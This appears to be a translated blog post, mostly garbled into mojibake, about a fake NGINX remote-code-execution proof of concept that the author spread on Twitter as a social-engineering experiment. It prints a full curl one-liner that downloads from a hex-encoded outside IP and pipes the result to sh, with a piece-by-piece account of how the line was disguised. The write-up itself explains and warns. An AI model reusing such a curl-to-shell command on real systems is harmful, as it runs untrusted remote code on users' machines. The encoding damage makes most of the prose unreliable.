ΠΡΠΈΠΌ. ΠΏΡΠ΅Π².: ΠΏΠΎ-ΠΎΡΠΈΠ³ΠΈΠ½Π°Π»Π½Π°ΡΠ° Π±Π΅Π»Π΅ΠΆΠΊΠ°, ΠΏΡΠ±Π»ΠΈΠΊΡΠ²Π°Π½Π° Π½Π° 1 ΡΠ½ΠΈ, ΡΠ΅ΡΠΈΡ Π΄Π° ΠΏΡΠΎΠ²Π΅Π΄Π° Π΅ΠΊΡΠΏΠ΅ΡΠΈΠΌΠ΅Π½Ρ ΡΡΠ΅Π΄ Π·Π°ΠΈΠ½ΡΠ΅ΡΠ΅ΡΠΎΠ²Π°Π½ΠΈΡΠ΅ ΠΎΡ ΠΈΠ½ΡΠΎΡΠΌΠ°ΡΠΈΠΎΠ½Π½Π°ΡΠ° Π±Π΅Π·ΠΎΠΏΠ°ΡΠ½ΠΎΡΡ. ΠΠ° ΡΠ΅Π»ΡΠ° ΠΏΠΎΠ΄Π³ΠΎΡΠ²ΠΈΡ ΡΠ°Π»ΡΠΈΠ² Π΅ΠΊΡΠΏΠ»ΠΎΠΉΡ Π·Π° Π½Π΅ΠΏΡΠ±Π»ΠΈΠΊΡΠ²Π°Π½Π° ΡΡΠ·Π²ΠΈΠΌΠΎΡΡ Π² ΡΠ΅Π±ΡΠ΅ΡΠ²Π΅ΡΠ° ΠΈ Π³ΠΎ ΡΠ°Π·ΠΏΡΠΎΡΡΡΠ°Π½ΠΈΡ Π² Π’ΡΠΈΡΡΡ. ΠΡΠ΅Π΄ΠΏΠΎΠ»ΠΎΠΆΠ΅Π½ΠΈΡΡΠ° ΠΌΠΈ β Π΄Π° Π±ΡΠ΄Π° ΠΌΠΈΠ³Π½ΠΎΠ²Π΅Π½ΠΎ ΡΠ°Π·ΠΎΠ±Π»ΠΈΡΠ΅Π½ ΠΎΡ ΡΠΏΠ΅ΡΠΈΠ°Π»ΠΈΡΡΠΈ, ΠΊΠΎΠΈΡΠΎ ΡΠ΅ Π²ΠΈΠ΄ΡΡ ΠΎΡΠ΅Π²ΠΈΠ΄Π½Π°ΡΠ° ΠΈΠ·ΠΌΠ°ΠΌΠ° Π² ΠΊΠΎΠ΄Π° β Π½Π΅ ΠΏΡΠΎΡΡΠΎ Π½Π΅ ΡΠ΅ ΠΎΠΏΡΠ°Π²Π΄Π°Ρ Π°β¦ Π’Π΅ Π½Π°Π΄ΠΌΠΈΠ½Π°Ρ Π° Π²ΡΠΈΡΠΊΠΈ ΠΎΡΠ°ΠΊΠ²Π°Π½ΠΈΡ, ΠΈ ΡΠΎ Π² ΠΎΠ±ΡΠ°ΡΠ½Π° ΠΏΠΎΡΠΎΠΊΠ°: ΡΡΠΈΡΡΡ ΠΏΠΎΠ»ΡΡΠΈ ΠΎΠ³ΡΠΎΠΌΠ½Π° ΠΏΠΎΠ΄ΠΊΡΠ΅ΠΏΠ° ΠΎΡ ΠΌΠ½ΠΎΠ³ΠΎΠ±ΡΠΎΠΉΠ½ΠΈ Ρ ΠΎΡΠ°, ΠΊΠΎΠΈΡΠΎ Π½Π΅ ΠΏΡΠΎΠ²Π΅ΡΠΈΡ Π° ΡΡΠ΄ΡΡΠΆΠ°Π½ΠΈΠ΅ΡΠΎ ΠΌΡ.

TL;DR: ΠΏΠΎ Π½ΠΈΠΊΠ°ΠΊΡΠ² Π½Π°ΡΠΈΠ½ Π½Π΅ ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°ΠΉΡΠ΅ ΠΊΠΎΠ½Π²Π΅ΠΉΠ΅ΡΠΈΠ·Π°ΡΠΈΡ Π½Π° ΡΠ°ΠΉΠ»ΠΎΠ²Π΅ Π² sh ΠΈΠ»ΠΈ bash. Π’ΠΎΠ²Π° Π΅ ΠΎΡΠ»ΠΈΡΠ΅Π½ Π½Π°ΡΠΈΠ½ Π΄Π° Π·Π°Π³ΡΠ±ΠΈΡΠ΅ ΠΊΠΎΠ½ΡΡΠΎΠ» Π½Π°Π΄ ΠΊΠΎΠΌΠΏΡΡΡΡΠ° ΡΠΈ.
ΠΡΠΊΠ°ΠΌ Π΄Π° ΡΠΏΠΎΠ΄Π΅Π»Ρ Ρ Π²Π°Ρ ΠΌΠ°Π»ΠΊΠ° ΠΈΡΡΠΎΡΠΈΡ Π·Π° ΡΠ΅Π³ΠΎΠ²ΠΈΡ PoC-Π΅ΠΊΡΠΏΠ»ΠΎΠΉΡ, ΠΊΠΎΠΉΡΠΎ Π±Π΅ ΡΡΠ·Π΄Π°Π΄Π΅Π½ Π½Π° 31 ΠΌΠ°ΠΉ. Π’ΠΎΠΉ ΡΠ΅ ΠΏΠΎΡΠ²ΠΈ Π±ΡΡΠ·ΠΎ Π² ΠΎΡΠ³ΠΎΠ²ΠΎΡ Π½Π° Π½ΠΎΠ²ΠΈΠ½Π°ΡΠ° ΠΎΡ , ΡΠ»Π΅Π½ Π½Π° (ZDI), ΡΠ΅ ΡΠΊΠΎΡΠΎ ΡΠ΅ Π±ΡΠ΄Π΅ ΡΠ°Π·ΠΊΡΠΈΡΠΎ ΠΈΠ½ΡΠΎΡΠΌΠ°ΡΠΈΡ Π·Π° ΡΡΠ·Π²ΠΈΠΌΠΎΡΡ Π² NGINX, Π²ΠΎΠ΄Π΅ΡΠ° Π΄ΠΎ RCE (ΠΎΡΠ΄Π°Π»Π΅ΡΠ΅Π½ΠΎ ΠΈΠ·ΠΏΡΠ»Π½Π΅Π½ΠΈΠ΅ Π½Π° ΠΊΠΎΠ΄). Π’ΡΠΉ ΠΊΠ°ΡΠΎ NGINX Π΅ Π² ΠΎΡΠ½ΠΎΠ²Π°ΡΠ° Π½Π° ΠΌΠ½ΠΎΠ³ΠΎ ΡΠ΅Π±ΡΠ°ΠΉΡΠΎΠ²Π΅, Π½ΠΎΠ²ΠΈΠ½Π°ΡΠ° ΡΡΡΠ±Π²Π°ΡΠ΅ Π΄Π° ΠΏΡΠ΅Π΄ΠΈΠ·Π²ΠΈΠΊΠ° Π΅ΡΠ΅ΠΊΡ Π½Π° Π²Π·ΡΠΈΠ². ΠΠΎ Π·Π°ΡΠ°Π΄ΠΈ Π·Π°ΠΊΡΡΠ½Π΅Π½ΠΈΡ Π² ΠΏΡΠΎΡΠ΅ΡΠ° Π½Π° "ΠΎΡΠ³ΠΎΠ²ΠΎΡΠ½ΠΎ ΡΠ°Π·ΠΊΡΠΈΡΠΈΠ΅" Π½Π° ΠΈΠ½ΡΠΎΡΠΌΠ°ΡΠΈΡΡΠ°, ΠΏΠΎΠ΄ΡΠΎΠ±Π½ΠΎΡΡΠΈΡΠ΅ Π·Π° ΡΠ»ΡΡΠ°Ρ Π½Π΅ Π±ΡΡ Π° ΠΈΠ·Π²Π΅ΡΡΠ½ΠΈ β ΡΠ°ΠΊΠ°Π²Π° Π΅ ΡΡΠ°Π½Π΄Π°ΡΡΠ½Π°ΡΠ° ΠΏΡΠΎΡΠ΅Π΄ΡΡΠ° Π½Π° ZDI.

Π·Π° ΡΠ°Π·ΠΊΡΠΈΡΠΈΠ΅ Π½Π° ΡΡΠ·Π²ΠΈΠΌΠΎΡΡ Π² NGINX
Π‘Π»Π΅Π΄ ΠΊΠ°ΡΠΎ ΠΏΡΠΈΠΊΠ»ΡΡΠΈΡ ΡΠ°Π±ΠΎΡΠ°ΡΠ° ΠΏΠΎ Π½ΠΎΠ²Π°ΡΠ° ΡΠ΅Ρ Π½ΠΈΠΊΠ° Π·Π° ΠΎΠ±ΡΡΡΠΊΠ°ΡΠΈΡ Π² curl, ΡΠΈΡΠΈΡΠ°Ρ ΠΎΡΠΈΠ³ΠΈΠ½Π°Π»Π½ΠΈΡ ΡΡΠΈΡ ΠΈ "ΠΈΠ·ΡΠΈΠΏΠ°Ρ ΡΠ°Π±ΠΎΡΠ΅Ρ PoC", ΡΡΡΡΠΎΡΡ ΡΠ΅ ΠΎΡ Π΅Π΄ΠΈΠ½ ΡΠ΅Π΄ ΠΊΠΎΠ΄, ΡΠΆ ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Ρ ΠΎΡΠΊΡΠΈΡΠ°ΡΠ° ΡΡΠ·Π²ΠΈΠΌΠΎΡΡ. Π Π°Π·Π±ΠΈΡΠ° ΡΠ΅, ΡΠΎΠ²Π° Π±Π΅ΡΠ΅ ΠΏΡΠ»Π½Π° Π³Π»ΡΠΏΠΎΡΡ. Π‘ΡΠΈΡΠ°Ρ , ΡΠ΅ ΠΌΠΎΠΌΠ΅Π½ΡΠ°Π»Π½ΠΎ ΡΠ΅ ΠΌΠ΅ ΡΠ°Π·ΠΎΠ±Π»ΠΈΡΠ°Ρ, ΠΈ ΡΠ΅ Π² Π½Π°ΠΉ-Π΄ΠΎΠ±ΡΠΈΡ ΡΠ»ΡΡΠ°ΠΉ ΡΠ΅ ΠΏΠΎΠ»ΡΡΠ° Π½ΡΠΊΠΎΠ»ΠΊΠΎ ΡΠ΅ΡΡΠΈΡΠ° (ΠΈ ΡΠΎΠ²Π° Π΅ ΠΎΠΊ).

Ρ ΡΠ°Π»ΡΠΈΠ² Π΅ΠΊΡΠΏΠ»ΠΎΠΉΡ
ΠΠΎ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ Π΄Π° ΡΠΈ ΠΏΡΠ΅Π΄ΡΡΠ°Π²Ρ ΠΊΠ°ΠΊΠ²ΠΎ ΡΠ΅ ΠΏΠΎΡΠ»Π΅Π΄Π²Π°. ΠΠΎΠΏΡΠ»ΡΡΠ½ΠΎΡΡΡΠ° Π½Π° ΠΌΠΎΡ ΡΡΠΈΡ ΡΠ΅ ΠΈΠ·Π΄ΠΈΠ³Π½Π° Π΄ΠΎ Π½Π΅Π±Π΅ΡΠ°ΡΠ°. Π£Π΄ΠΈΠ²ΠΈΡΠ΅Π»Π½ΠΎ Π΅, Π½ΠΎ Π΄ΠΎ ΠΌΠΎΠΌΠ΅Π½ΡΠ° (15:00 ΠΠ‘Π Π½Π° 1 ΡΠ½ΠΈ) Π²ΡΠ΅ ΠΎΡΠ΅ ΠΌΠ°Π»ΠΊΠΎ Ρ ΠΎΡΠ° ΠΎΡΡΠ·Π½Π°Π²Π°Ρ, ΡΠ΅ ΡΠΎΠ²Π° Π΅ ΡΠ°Π»ΡΠΈΡΠΈΠΊΠ°Ρ. ΠΠ½ΠΎΠ³ΠΎ Ρ ΠΎΡΠ° Π³ΠΎ ΡΠ΅ΡΡΠΈΡΠΈΡΠ°Ρ ΠΈΠ·ΠΎΠ±ΡΠΎ Π±Π΅Π· ΠΏΡΠΎΠ²Π΅ΡΠΊΠ° (Π΄Π° Π½Π΅ Π³ΠΎΠ²ΠΎΡΠΈΠΌ Π·Π° ΡΠΎΠ²Π°, ΡΠ΅ Π½Π΅ ΠΏΠΎΠ³Π»Π΅ΠΆΠ΄Π°Ρ ΠΏΡΠ΅ΠΊΡΠ°ΡΠ½Π°ΡΠ° ASCII-Π³ΡΠ°ΡΠΈΠΊΠ°, ΠΊΠΎΡΡΠΎ ΠΈΠ·Π²Π΅ΠΆΠ΄Π°).

Π‘Π°ΠΌΠΎ ΠΏΠΎΠ³Π»Π΅Π΄Π½Π΅ΡΠ΅ ΠΊΠΎΠ»ΠΊΠΎ Π΅ ΠΊΡΠ°ΡΠΈΠ²ΠΎ!
ΠΡΠΏΡΠ΅ΠΊΠΈ ΡΠ΅ Π²ΡΠΈΡΠΊΠΈ ΡΠ΅Π·ΠΈ ΡΠΈΠΊΠ»ΠΈ ΠΈ ΡΠ²Π΅ΡΠΎΠ²Π΅ ΡΠ° ΡΡΠ΄Π΅ΡΠ½ΠΈ, ΡΡΠ½ΠΎ Π΅: Π·Π° Π΄Π° Π³ΠΈ Π²ΠΈΠ΄ΡΡ, Ρ ΠΎΡΠ°ΡΠ° ΡΡΡΠ±Π²Π°ΡΠ΅ Π΄Π° ΠΈΠ·ΠΏΡΠ»Π½ΡΡ ΠΊΠΎΠ΄Π° Π½Π° ΡΠΎΠ±ΡΡΠ²Π΅Π½Π°ΡΠ° ΡΠΈ ΠΌΠ°ΡΠΈΠ½Π°. ΠΠ° ΡΠ°ΡΡΠΈΠ΅, Π±ΡΠ°ΡΠ·ΡΡΠΈΡΠ΅ ΡΠ°Π±ΠΎΡΡΡ ΠΏΠΎ ΠΏΠΎΠ΄ΠΎΠ±Π΅Π½ Π½Π°ΡΠΈΠ½ ΠΈ Ρ ΡΠ°ΠΊΡΠ°, ΡΠ΅ ΠΏΡΠΎΠ±Π»Π΅ΠΌΠΈΡΠ΅ Ρ Π·Π°ΠΊΠΎΠ½Π° ΠΈΠ·ΠΎΠ±ΡΠΎ Π½Π΅ ΠΌΠ΅ ΠΈΠ½ΡΠ΅ΡΠ΅ΡΡΠ²Π°Ρ, ΠΊΠΎΠ΄ΡΡ, ΡΠΊΡΠΈΡ Π² ΡΠ°ΠΉΡΠ° ΠΌΠΈ, ΠΏΡΠΎΡΡΠΎ ΠΏΡΠ°Π²Π΅ΡΠ΅ ΠΈΠ·Π²ΠΈΠΊΠ²Π°Π½ΠΈΡ echo, Π±Π΅Π· Π΄Π° ΡΠ΅ ΠΎΠΏΠΈΡΠ²Π° Π΄Π° ΠΈΠ½ΡΡΠ°Π»ΠΈΡΠ° ΠΈΠ»ΠΈ ΠΈΠ·ΠΏΡΠ»Π½ΡΠ²Π° ΠΊΠ°ΠΊΡΠ²ΡΠΎ ΠΈ Π΄Π° Π΅ Π΄ΠΎΠΏΡΠ»Π½ΠΈΡΠ΅Π»Π΅Π½ ΠΊΠΎΠ΄.
ΠΡΠΊΠΎΠ»ΠΊΠΎ Π΄ΡΠΌΠΈ: , , Π°Π· ΠΈ Π΄ΡΡΠ³ΠΈΡΠ΅ ΠΌΠΎΠΌΡΠ΅ΡΠ° ΠΎΡ Π΅ΠΊΠΈΠΏΠ° Π²Π΅ΡΠ΅ ΠΈΠ·Π²Π΅ΡΡΠ½ΠΎ Π²ΡΠ΅ΠΌΠ΅ Π΅ΠΊΡΠΏΠ΅ΡΠΈΠΌΠ΅Π½ΡΠΈΡΠ°ΠΌΠ΅ Ρ ΡΠ°Π·Π»ΠΈΡΠ½ΠΈ Π½Π°ΡΠΈΠ½ΠΈ Π·Π° ΠΎΠ±ΡΡΡΠΊΠ°ΡΠΈΡ Π½Π° curl ΠΊΠΎΠΌΠ°Π½Π΄ΠΈ, Π·Π°ΡΠΎΡΠΎ Π΅ Π·Π°Π±Π°Π²Π½ΠΎβ¦ ΠΈ Π½ΠΈΠ΅ ΡΠΌΠ΅ Π³ΠΈΠΊΠΎΠ²Π΅. netspooky ΠΈ dnz ΠΎΡΠΊΡΠΈΡ Π° Π½ΡΠΊΠΎΠ»ΠΊΠΎ Π½ΠΎΠ²ΠΈ ΠΌΠ΅ΡΠΎΠ΄Π°, ΠΊΠΎΠΈΡΠΎ Π½Π° ΠΌΠ΅Π½ ΠΌΠΈ ΡΠ΅ ΡΡΠΎΡΠΈΡ Π° ΠΈΠ·ΠΊΠ»ΡΡΠΈΡΠ΅Π»Π½ΠΎ ΠΎΠ±Π΅ΡΠ°Π²Π°ΡΠΈ. ΠΡΠΈΡΡΠ΅Π΄ΠΈΠ½ΠΈΡ ΡΠ΅ ΠΊΡΠΌ Π·Π°Π±Π°Π²Π»Π΅Π½ΠΈΠ΅ΡΠΎ ΠΈ ΠΎΠΏΠΈΡΠ°Ρ Π΄Π° Π΄ΠΎΠ±Π°Π²Ρ IP-Π΄Π΅ΡΠ΅ΡΠΈΡΠ½ΠΈ ΠΏΡΠ΅ΠΎΠ±ΡΠ°Π·ΡΠ²Π°Π½ΠΈΡ ΠΊΡΠΌ Π½Π°Π±ΠΎΡΠ° ΡΡΠΈΠΊΠΎΠ²Π΅. ΠΠΊΠ°Π·Π° ΡΠ΅, ΡΠ΅ IP ΡΡΡΠΎ ΠΌΠΎΠΆΠ΅ Π΄Π° ΡΠ΅ ΠΊΠΎΠ½Π²Π΅ΡΡΠΈΡΠ° Π² ΡΠ΅ΡΡΠ½Π°Π΄Π΅ΡΠ΅ΡΠΈΡΠ΅Π½ ΡΠΎΡΠΌΠ°Ρ. ΠΡΠ΅ ΠΏΠΎΠ²Π΅ΡΠ΅, curl ΠΈ ΠΏΠΎΠ²Π΅ΡΠ΅ΡΠΎ ΠΎΡ Π΄ΡΡΠ³ΠΈΡΠ΅ NIX ΠΈΠ½ΡΡΡΡΠΌΠ΅Π½ΡΠΈ Ρ ΡΠ΄ΠΎΠ²ΠΎΠ»ΡΡΠ²ΠΈΠ΅ βΡΠ΄Π°Ρβ ΡΠ΅ΡΡΠ½Π°Π΄Π΅ΡΠ΅ΡΠΈΡΠ½ΠΈ IP! Π’Π°ΠΊΠ° ΡΠ΅, ΠΏΡΠΎΡΡΠΎ ΡΡΡΠ±Π²Π°ΡΠ΅ Π΄Π° ΡΡΠ·Π΄Π°ΠΌ ΡΠ±Π΅Π΄ΠΈΡΠ΅Π»Π΅Π½ ΠΈ Π±Π΅Π·ΠΎΠΏΠ°ΡΠ½ΠΎ ΠΈΠ·Π³Π»Π΅ΠΆΠ΄Π°Ρ ΠΊΠΎΠΌΠ°Π½Π΄Π΅Π½ ΡΠ΅Π΄. Π ΠΊΡΠ°ΠΉΠ½Π° ΡΠΌΠ΅ΡΠΊΠ° Π°Π· ΡΠΏΡΡΡ Π½Π° ΡΠΎΠ²Π°:
curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../..///nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh<link href='protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhostΠ‘ΠΎΡΠΈΠΎ-Π΅Π»Π΅ΠΊΡΡΠΎΠ½Π½Π°ΡΠ° ΠΈΠ½ΠΆΠ΅Π½Π΅ΡΠΈΡ (S.E.E.) Π΅ ΠΏΠΎΠ²Π΅ΡΠ΅ ΠΎΡ ΠΏΡΠΎΡΡΠΎ ΡΠΈΡΠΈΠ½Π³
Π‘ΠΈΠ³ΡΡΠ½ΠΎΡΡΡΠ° ΠΈ ΠΏΠΎΠ·Π½Π°ΡΠΎΡΡΡΠ° Π±ΡΡ Π° ΠΎΡΠ½ΠΎΠ²Π½Π° ΡΠ°ΡΡ ΠΎΡ ΡΠΎΠ·ΠΈ Π΅ΠΊΡΠΏΠ΅ΡΠΈΠΌΠ΅Π½Ρ. ΠΠΈΡΠ»Ρ, ΡΠ΅ ΠΈΠΌΠ΅Π½Π½ΠΎ ΡΠ΅ Π΄ΠΎΠ²Π΅Π΄ΠΎΡ Π° Π΄ΠΎ ΡΡΠΏΠ΅Ρ Π° ΠΌΡ. ΠΠΎΠΌΠ°Π½Π΄Π½ΠΈΡΡ ΡΠ΅Π΄ ΡΠ²Π½ΠΎ ΠΏΠΎΠ΄ΡΠ°Π·Π±ΠΈΡΠ°ΡΠ΅ ΡΠΈΠ³ΡΡΠ½ΠΎΡΡ, ΠΊΠ°ΡΠΎ ΡΠ΅ ΠΏΠΎΠ·ΠΎΠ²Π°Π²Π°ΡΠ΅ Π½Π° β127.0.0.1β (Π²ΡΠ΅ΠΊΠΈ Π·Π½Π°Π΅ localhost). Π‘ΡΠΈΡΠ° ΡΠ΅, ΡΠ΅ localhost Π΅ Π±Π΅Π·ΠΎΠΏΠ°ΡΠ΅Π½ ΠΈ Π΄Π°Π½Π½ΠΈΡΠ΅ Π½Π° Π½Π΅Π³ΠΎ Π½ΠΈΠΊΠΎΠ³Π° Π½Π΅ Π½Π°ΠΏΡΡΠΊΠ°Ρ ΠΊΠΎΠΌΠΏΡΡΡΡΠ° Π²ΠΈ.
ΠΠΎΠ·Π½Π°ΡΠΎΡΡΡΠ° Π±Π΅ΡΠ΅ Π²ΡΠΎΡΠΈΡΡ ΠΊΠ»ΡΡΠΎΠ² ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ Π½Π° S.E.E. Π² Π΅ΠΊΡΠΏΠ΅ΡΠΈΠΌΠ΅Π½ΡΠ°. Π’ΡΠΉ ΠΊΠ°ΡΠΎ ΡΠ΅Π»Π΅Π²Π°ΡΠ° Π°ΡΠ΄ΠΈΡΠΎΡΠΈΡ ΠΏΡΠ΅Π΄ΠΈΠΌΠ½ΠΎ ΡΠ΅ ΡΡΡΡΠΎΠ΅ΡΠ΅ ΠΎΡ Ρ ΠΎΡΠ°, Π·Π°ΠΏΠΎΠ·Π½Π°ΡΠΈ Ρ ΠΎΡΠ½ΠΎΠ²ΠΈΡΠ΅ Π½Π° ΠΊΠΎΠΌΠΏΡΡΡΡΠ½Π°ΡΠ° ΡΠΈΠ³ΡΡΠ½ΠΎΡΡ, Π±Π΅ΡΠ΅ Π²Π°ΠΆΠ½ΠΎ Π΄Π° ΡΠ΅ ΡΡΠ·Π΄Π°Π΄Π΅ ΠΊΠΎΠ΄, ΡΠΈΡΡΠΎ ΡΠ°ΡΡ Π΄Π° ΠΈΠ·Π³Π»Π΅ΠΆΠ΄Π° ΠΏΠΎΠ·Π½Π°ΡΠ° ΠΈ Π±Π΅Π·ΠΎΠΏΠ°ΡΠ½Π°. ΠΠ·ΠΈΠΌΠ°Π½Π΅ΡΠΎ Π½Π° Π΅Π»Π΅ΠΌΠ΅Π½ΡΠΈ ΠΎΡ ΡΡΠ°ΡΠΈ ΠΊΠΎΠ½ΡΠ΅ΠΏΡΠΈΠΈ Π·Π° Π΅ΠΊΡΠΏΠ»ΠΎΠΈΡΠΈ ΠΈ ΠΊΠΎΠΌΠ±ΠΈΠ½ΠΈΡΠ°Π½Π΅ΡΠΎ ΠΈΠΌ ΠΏΠΎ Π½Π΅ΠΎΠ±ΠΈΡΠ°Π΅Π½ Π½Π°ΡΠΈΠ½ ΡΠ΅ ΠΎΠΊΠ°Π·Π° ΠΈΠ·ΠΊΠ»ΡΡΠΈΡΠ΅Π»Π½ΠΎ ΡΡΠΏΠ΅ΡΠ½ΠΎ.
ΠΠΎ-Π΄ΠΎΠ»Ρ ΡΠ»Π΅Π΄Π²Π° ΠΏΠΎΠ΄ΡΠΎΠ±Π½ΠΎ ΡΠ°Π·Π³Π»Π΅ΠΆΠ΄Π°Π½Π΅ Π½Π° ΠΊΠΎΠΌΠ°Π½Π΄Π½ΠΈΡ ΡΠ΅Π΄. ΠΡΠΈΡΠΊΠΎ Π² ΡΠΎΠ·ΠΈ ΡΠΏΠΈΡΡΠΊ ΠΈΠΌΠ° ΠΊΠΎΡΠΌΠ΅ΡΠΈΡΠ΅Π½ Ρ Π°ΡΠ°ΠΊΡΠ΅Ρ, Π° Π·Π° Π½Π΅Π³ΠΎΠ²Π°ΡΠ° ΡΠ΅Π°Π»Π½Π° ΡΠ°Π±ΠΎΡΠ° ΠΏΡΠ°ΠΊΡΠΈΡΠ΅ΡΠΊΠΈ Π½ΠΈΡΠΎ Π½Π΅ ΡΠ΅ ΠΈΠ·ΠΈΡΠΊΠ²Π°.
ΠΠΎΠΈ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½ΡΠΈ ΠΎΠ±Π°ΡΠ΅ ΡΠ° Π½Π°ΠΈΡΡΠΈΠ½Π° Π½Π΅ΠΎΠ±Ρ
ΠΎΠ΄ΠΈΠΌΠΈ? Π’ΠΎΠ²Π° Π΅ -gsS, -O 0x0238f06a, |sh ΠΈ ΡΠ°ΠΌΠΈΡΡ ΡΠ΅Π± ΡΡΡΠ²ΡΡ. Π£Π΅Π± ΡΡΡΠ²ΡΡΡΡ Π½Π΅ ΡΡΠ΄ΡΡΠΆΠ°ΡΠ΅ Π·Π»ΠΎΠ½Π°ΠΌΠ΅ΡΠ΅Π½ΠΈ ΠΈΠ½ΡΡΡΡΠΊΡΠΈΠΈ, Π° ΠΏΡΠΎΡΡΠΎ ΠΏΡΠ΅Π΄Π°Π²Π°ΡΠ΅ ASCII Π³ΡΠ°ΡΠΈΠΊΠ° ΡΡΠ΅Π· ΠΊΠΎΠΌΠ°Π½Π΄ΠΈ echo Π² ΡΠΊΡΠΈΠΏΡΠ°, ΠΊΠΎΠΉΡΠΎ ΡΠ΅ ΡΡΠ΄ΡΡΠΆΠ° Π² index.html. ΠΠΎΠ³Π°ΡΠΎ ΠΏΠΎΡΡΠ΅Π±ΠΈΡΠ΅Π»ΡΡ Π²ΡΠ²Π΅ΠΆΠ΄Π° ΡΠ΅Π΄ Ρ |sh Π² ΡΡΠ΅Π΄Π°ΡΠ°, index.html ΡΠΎΠΉ ΡΠ΅ Π·Π°ΡΠ΅ΠΆΠ΄Π° ΠΈ ΠΈΠ·ΠΏΡΠ»Π½ΡΠ²Π°. ΠΠ° ΡΠ°ΡΡΠΈΠ΅, Π°Π΄ΠΌΠΈΠ½ΠΈΡΡΡΠ°ΡΠΎΡΠΈΡΠ΅ Π½Π° ΡΠ΅Π± ΡΡΡΠ²ΡΡΠ° Π½ΡΠΌΠ°Ρ Π·Π»ΠΈ Π½Π°ΠΌΠ΅ΡΠ΅Π½ΠΈΡ.
-
../../../%00β ΠΈΠ·ΠΎΠ±ΡΠ°ΠΆΠ°Π²Π° ΠΈΠ·Π»ΠΈΠ·Π°Π½Π΅ ΠΈΠ·Π²ΡΠ½ Π΄ΠΈΡΠ΅ΠΊΡΠΎΡΠΈΡΡΠ°; -
ngx_stream_module.soβ ΠΏΡΡ Π΄ΠΎ ΡΠ»ΡΡΠ°Π΅Π½ ΠΌΠΎΠ΄ΡΠ» Π½Π° NGINX; -
/bin/sh%00<'protocol:TCP'β Π½ΠΈΠ΅ ΠΏΡΠ΅Π΄ΠΏΠΎΠ»Π°Π³Π°Π΅ΠΌΠΎ ΡΡΠ°ΡΡΠΈΡΠ°ΠΌΠ΅/bin/shΠ½Π° ΡΠ΅Π»Π΅Π²Π°ΡΠ° ΠΌΠ°ΡΠΈΠ½Π° ΠΈ ΠΏΡΠ΅Π½Π°ΡΠΎΡΠ²Π°ΠΌΠ΅ ΠΈΠ·Ρ ΠΎΠ΄Π° Π² TCP ΠΊΠ°Π½Π°Π»; -
-O 0x0238f06a#PLToffsetβ ΡΠ°ΠΉΠ½Π° ΡΡΡΡΠ°Π²ΠΊΠ°, Π΄ΠΎΠΏΡΠ»Π½Π΅Π½Π°#PLToffset, Π·Π° Π΄Π° ΠΈΠ·Π³Π»Π΅ΠΆΠ΄Π° ΠΊΠ°ΡΠΎ ΠΎΡΡΠ΅Ρ Π² ΠΏΠ°ΠΌΠ΅ΡΡΠ°, ΡΡΠ΄ΡΡΠΆΠ°Ρ ΡΠ΅ ΠΏΠΎ Π½ΡΠΊΠ°ΠΊΡΠ² Π½Π°ΡΠΈΠ½ Π² PLT; -
|sh;β ΠΎΡΠ΅ Π΅Π΄ΠΈΠ½ Π²Π°ΠΆΠ΅Π½ ΡΡΠ°Π³ΠΌΠ΅Π½Ρ. Π’ΡΡΠ±Π²Π°ΡΠ΅ Π΄Π° ΠΏΡΠ΅Π½Π°ΡΠΎΡΠΈΠΌ ΠΈΠ·Ρ ΠΎΠ΄Π° Π² sh/bash, Π·Π° Π΄Π° ΠΈΠ·ΠΏΡΠ»Π½ΠΈΠΌ ΠΊΠΎΠ΄Π°, ΠΈΠ΄Π²Π°Ρ ΠΎΡ Π°ΡΠ°ΠΊΡΠ²Π°ΡΠΈΡ ΡΠ΅Π± ΡΡΡΠ²ΡΡ, ΡΠ°Π·ΠΏΠΎΠ»ΠΎΠΆΠ΅Π½ Π½Π° Π°Π΄ΡΠ΅Ρ0x0238f06a(2.56.240.x); -
nc /dev/tcp/localhostβ ΠΏΡΠ°Π·Π½ΠΎ, Π² ΠΊΠΎΠ΅ΡΠΎ netcat ΠΏΡΠ΅ΠΏΡΠ°ΡΠ° Π½Π°/dev/tcp/localhost, Π·Π° Π΄Π° ΠΈΠ·Π³Π»Π΅ΠΆΠ΄Π° Π²ΡΠΈΡΠΊΠΎ Π±Π΅Π·ΠΎΠΏΠ°ΡΠ½ΠΎ ΠΎΡΠ½ΠΎΠ²ΠΎ. ΠΡΡΡΠ½ΠΎΡΡ, ΡΠΎ Π½Π΅ ΠΏΡΠ°Π²ΠΈ Π½ΠΈΡΠΎ ΠΈ Π΅ Π²ΠΊΠ»ΡΡΠ΅Π½ΠΎ Π² ΡΠ΅Π΄Π° Π·Π° ΠΊΡΠ°ΡΠΎΡΠ°.
Π‘ ΡΠΎΠ²Π° ΠΏΡΠΈΠΊΠ»ΡΡΠ²Π°Ρ Π΄Π΅ΠΊΠΎΠ΄ΠΈΡΠ°Π½Π΅ΡΠΎ Π½Π° Π΅Π΄Π½ΠΎΡΠ΅Π΄ΠΎΠ²ΠΈΡ ΡΠΊΡΠΈΠΏΡ ΠΈ ΠΎΠ±ΡΡΠΆΠ΄Π°Π½Π΅ΡΠΎ Π½Π° Π°ΡΠΏΠ΅ΠΊΡΠΈΡΠ΅ Π½Π° βΡΠΎΡΠΈΠΎ-Π΅Π»Π΅ΠΊΡΡΠΎΠ½Π½Π°ΡΠ° ΠΈΠ½ΠΆΠ΅Π½Π΅ΡΠΈΡβ (ΠΈΠ·ΠΎΠ±ΡΠ΅ΡΠ°ΡΠ΅Π»Π΅Π½ ΡΠΈΡΠΈΠ½Π³).
ΠΠΎΠ½ΡΠΈΠ³ΡΡΠ°ΡΠΈΡ Π½Π° ΡΠ΅Π± ΡΡΡΠ²ΡΡΠ° ΠΈ ΠΌΠ΅ΡΠΊΠΈ Π·Π° ΠΏΡΠΎΡΠΈΠ²ΠΎΠ΄Π΅ΠΉΡΡΠ²ΠΈΠ΅
